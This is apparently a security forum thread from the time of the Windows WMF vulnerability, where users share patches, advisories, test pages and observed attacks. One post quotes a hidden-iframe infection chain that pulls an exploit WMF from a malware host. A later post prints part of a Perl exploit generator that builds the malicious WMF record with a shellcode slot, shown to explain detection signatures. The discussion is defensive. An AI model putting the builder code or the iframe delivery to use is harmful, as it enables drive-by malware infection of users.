New Windows Vulnerability

Well, that's good to hear, as making the html file a jpg or a gif doesn't enhance the chances for the exploit to work (in fact, it lessens them as both Opera and Firefox will refuse to parse it as if it were html, thereby not even propmting the user to choose what to do with the wmf, but actually refusing to load the crap at all).

 

EVeryone I've tested is similar. Here is one - I think it's similar to crackz you mention:

--> html page downloads a .php file:

iframe width=0 height=0 src=http://toolbarbucks.biz/dl/adv470.php

--> with:

iframe src="xpladv470.wmf" width=1 height=1 iframe

--> which runs and attempts to download the dropper, but is blocked
("Reason: Copy" means download in this case)

http://www.rsjones.net/img/xpladv_1.gif
______________________________________________

From KAV on the first IM_worm using this vulnerability
http://www.viruslist.com/en/weblog?discuss=176892530&return=1:

"The jpg is actually an HTML page with a (link to a) malicious wmf file which is heuristically detected as Exploit.Win32.IMG-WMF by Kaspersky Anti-Virus. This wmf will download and execute a .vbs file which is detected as Trojan-Downloader.VBS.Psyme.br which in turn will download an Sdbot. The IRCBot is detected as Backdoor.Win32.SdBot.gen by KAV."

As long as the .wmf file's purpose is to download a trojan dropper, the trojan can be blocked from downloading/executing by a number of applications: BOclean, PG, AE, etc..



________________
~~Be ALERT!!! ~~

 

HI.... Seen this?
https://www.wilderssecurity.com/showpost.php?p=645278&postcount=17

Rgds

 

I made a post about this in this thread too, but somehow CrazyM removed the download link from my post. It completely eliminates the vulnerability according to the site.

I'm still wondering why the download link was removed from my post. Any reason why it was removed so at least I know why? See post #85.

 

nadirah,

As CrazyM pointed out, it was removed since it was a direct download link. That style of link is not recommended. Post a url to navigate to the page from which the download can be made - which still exists in your post. There was no need for the direct link.

Blue

 

Oh ok. Thanks.

 

No problem.

Let me just expand for any new readers who may not understand the nuances involved. It's an additional hoop for a reader to jump through to verify that:

• They are comfortable with the download site. We try to eliminate questionable sites as noticed, but any user should always know where material downloaded originates
• Assess additional information provided at the site - is the download applicable to their system/OS, are their any known compatibility issues or secondary effects a user should be alerted to before using, etc.
• Occassionally a revised link will be provided by the site without removal of an outdated link, going to a download page is more likely to provide the most current options and information

Think of this as a safety measure before making the download, that's all it is.

And thanks for providing the parent link.

Blue

 

An explanation...

http://castlecops.com/a6436-Newest_WMF_Exploit_Patch_Saves_the_Day.html

If you also check the download from grc.com notes it links to version 1.1 of the patch. The newest release is version 1.3.

You have to install this patch, don't rely on anything else.

 

There isn't a changelog. I've got 1.1 should I upgrade to 1.3?

 

The changelog is on the parent webpage here. As indicated there,

Blue

 

Thanks BlueZannetti, that is right.

 

Thanks. By the way I saw on the linked Castlecops page this quote:
"The word from Redmond isn't encouraging. We've heard nothing to indicate that we're going to see anything from Microsoft before January 9th."
Do you suppose this could be true?

 

a patch that disables the vulnerable function in the dll while retaining all the other usefulness of picture rendering in the OS shell. Basically this means unregistering the dll is not necessary.

Can be downloaded here http://www.hexblog.com/security/file..._hexblog13.exe which is nice. It works for w2k SP4 onwards I think - check the page at http://www.hexblog.com/2005/12/wmf_vuln.html

 

Using script sentry is similar to the method of changing the windows file assoication, It will help in some cases, but not all.


Also helpful is the Sans FAQ on the issue

http://isc.sans.org/diary.php?storyid=994

 

ran a search here for "hexblog" - did not return results so I posted. Sorry about the direct exe.

 

Thanks for the link Blue. Downloaded and installed.

Happy New Year to you as well.

 

I've just got home after a looong new years party and spent ages catching up on this here and there !

Looks like the script defender fix really does work as i posted earlier. Tried it myself and it did for me.

http://www.dslreports.com/forum/remark,15115819~start=320


StevieO

 

At this point everyone is endorsing the hexblog patch. The patch has been tested around the board and has not failed.

 

It only works if you click on it directly or point your browser to the wmf directly. If you have the file on your system, and say google desktop indexing it or you have image preview or if you have lotus notes, or ..... script defender/scriptrap etc etc you are still vuleraable.

 

Made a WMF-Exploit test site:

http://kyeu.info/WMF/

Harmless files.

 

none of them came in

 

Warning to all.

Newer versions of the exploit source code are being released, and I can see that the writers are trying their hardest to randomize as many values as they can and insert as much bogus code to confuse antivirus software. Also, there is now room for 1232 bytes of payload. Around v1.1, there were only around 510 bytes available. So future variants will be able to hold more payload code, and could perhaps download even more spyware or be more destructive.

Structure of v1.9 WMF File:

Code:

#
		# WindowsMetaHeader
		#
		pack('vvvVvVv',
				# WORD  FileType;       /* Type of metafile (0=memory, 1=disk, 2=fjear) */
				int(rand(2))+1,
				# WORD  HeaderSize;     /* Size of header in WORDS (always 9) */
				9,
				# WORD  Version;        /* Version of Microsoft Windows used */
				0x0300,
				# DWORD FileSize;       /* Total size of the metafile in WORDs */
				$clen/2,
				# WORD  NumOfObjects;   /* Number of objects in the file */
				$fill+1,
				# DWORD MaxRecordSize;  /* The size of largest record in WORDs */
				int(rand(64)+8),
				# WORD  NumOfParams;    /* Not Used (always 0) */
				0
		).
		#
		# Filler data
		#
		$pre_buff.
		#
		# StandardMetaRecord - Escape()
		#
		pack('Vvv',
			# DWORD Size;          /* Total size of the record in WORDs */
			4,
			# WORD  Function;      /* Function number (defined in WINDOWS.H) */
			0x0026,                # Can also be 0xff26, 0x0626, etc...
			# WORD  Parameters[];  /* Parameter values passed to function */
			9,
		). $shellcode .
		#
		# Filler data
		#
		$suf_buff.
		#
		# Complete the structure
		#
		pack('Vv',
			3,
			0
		);

As you can see, even the type of metafile is randomized. (Can be 01 or 02)

However, there are many things that remain the same. The HeaderSize is always 9, and the Abort Function always looks like 0x??26, and the Parameter is always 9.

There have been reports that black hats are trying to find other functions that are exploitable as well, so it's not looking good

 

Kye-U, latest news: http://castlecops.com/a6438-Hot_off_the_press_WMF_Vulnerability_Checker.html

 

Thanks!

Works fine

Funny thing though, my filter matched it and caused the file to be invalid. This is a good thing

 

Testing it out... and this is what i get: